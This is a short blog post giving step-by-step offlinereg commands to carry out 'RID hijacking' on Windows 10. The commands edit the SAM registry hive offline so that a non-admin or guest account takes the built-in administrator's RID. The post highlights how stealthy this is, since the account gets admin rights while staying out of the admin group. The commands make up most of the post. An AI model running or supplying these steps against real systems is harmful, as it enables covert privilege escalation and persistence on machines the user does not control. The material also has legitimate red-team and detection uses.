Following a post here on how to blank an account’s password using offlinereg, this time, lets see how to perform « RID hijacking ».
The local admin account has a 01F4 rid.
What about « patching » another (non admin) account to replace its RID with 01F4?
rem notice the rid at offset 30h (here E803)
OfflineReg-win32 « c:\windows\system32\config\SAM » sam\domains\account\users\000003e8 getvalue f
rem lets write f401 (admin rid) at offset 30h (48 in decimal form)
OfflineReg-win32 « c:\windows\system32\config\SAM » sam\domains\account\users\000003e8 setvaluebyteat f 244 48
OfflineReg-win32 « c:\windows\system32\config\SAM » sam\domains\account\users\000003e8 setvaluebyteat f 1 49
Now you should be able to restart your system, log in with this user account and actually perform admin task.
This is quite « stealthy » as the account will still not be part of the local admin group while being able to perform admin tasks.
LSASS trust SAMSRV and SAMSRV trust the registry : everyone is happy…
This can work with the guest account as well.
I tested this with success from a winpe against windows 10.
Download/Discuss it here